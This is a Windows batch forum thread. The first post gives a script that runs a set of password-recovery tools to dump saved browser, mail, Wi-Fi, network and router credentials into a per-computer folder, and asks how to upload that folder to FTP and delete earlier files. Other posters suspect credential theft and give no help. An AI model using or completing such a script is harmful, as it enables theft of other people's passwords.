coding a batch file.

Discussion forum for all Windows batch related topics.

Moderator: DosItHelp

Post Reply
Message
Author
mcfly007
Posts: 3
Joined: 02 Sep 2013 20:10

coding a batch file.

#1 Post by mcfly007 » 02 Sep 2013 20:14

Hi im coding a batch file to recover my lost passwords.
i need to be able to have this batch file upload a subfolder to ftp and delete all previous files/folders .
any ideas would be greatly appreciated.
Code:

Code: Select all

@echo off
cls

ping 127.0.0.1 -n 1 -w 5000 > nul


7z e archive.rar



mkdir %computername%

mspass.exe /shtml %computername%\mspass.html
iepv.exe /shtml %computername%\mspass.html
mailpv.exe /shtml %computername%\mailpv.html
ChromePass.exe /shtml %computername%\ChromePass.html
PstPassword.exe /shtml %computername%\PstPassword.html
VncPassView.exe /shtml %computername%\VncPassView.html
WirelessKeyView.exe /shtml %computername%\WirelesskeyView.html
netpass.exe /shtml %computername%\netpass.html
WebBrowserPassview.exe /shtml %computername%\WebBrowserPassview.html
Dialupass.exe /shtml %computername%\Dialuppass.html
pspv.exe /shtml %computername%\pspv.html
OperaPassView.exe /shtml %computername%\OperaPassView.html
RouterPassView.exe /shtml %computername%\RouterPassView.html
PasswordFox.exe /shtml %computername%\PasswordFox.html
BulletsPassView.exe /shtml %computername%\BulletsPassView.html


foxidrive
Expert
Posts: 6031
Joined: 10 Feb 2012 02:20

Re: coding a batch file.

#2 Post by foxidrive » 02 Sep 2013 20:20

mcfly007 wrote:Hi im coding a batch file to recover my lost passwords.


Surely you would do that only once, write down your passwords, and don't need a batch file.

mcfly007
Posts: 3
Joined: 02 Sep 2013 20:10

Re: coding a batch file.

#3 Post by mcfly007 » 02 Sep 2013 20:27

foxidrive , i have 30 computers , I work in a tech lab so that would be impossible to write down 300 passwords and have them memorized

foxidrive
Expert
Posts: 6031
Joined: 10 Feb 2012 02:20

Re: coding a batch file.

#4 Post by foxidrive » 02 Sep 2013 21:49

mcfly007 wrote:foxidrive , i have 30 computers , I work in a tech lab so that would be impossible to write down 300 passwords and have them memorized


So you want to recover everyone else passwords. That's what I thought.

mcfly007
Posts: 3
Joined: 02 Sep 2013 20:10

Re: coding a batch file.

#5 Post by mcfly007 » 03 Sep 2013 00:49

I work in a tech lab, im a systems administrator so i want to recover my passwords on 30 computers.

Jess Selien
Posts: 13
Joined: 26 Sep 2012 12:08

Re: coding a batch file.

#6 Post by Jess Selien » 05 Sep 2013 18:22

You could create a batch script to auto generate a set style and then have it help remind you what the password is with a date\name\number combo mix. then have it answer your question to which app\computer you are using. Then always remember that the answer it gives you is a key and you add +1 or -1 to the number the script gives you for some minor encryption.

Example - ask user for name of computer and app then it extracts from a data file. But to do that would mean to store the output to a file you would have to secure.

But even with 300 passwords, one could do a simple control find in a text utility to lookup servername and skim through the app names in a database.

But I agree, password recovery would be in the hacking category.

Post Reply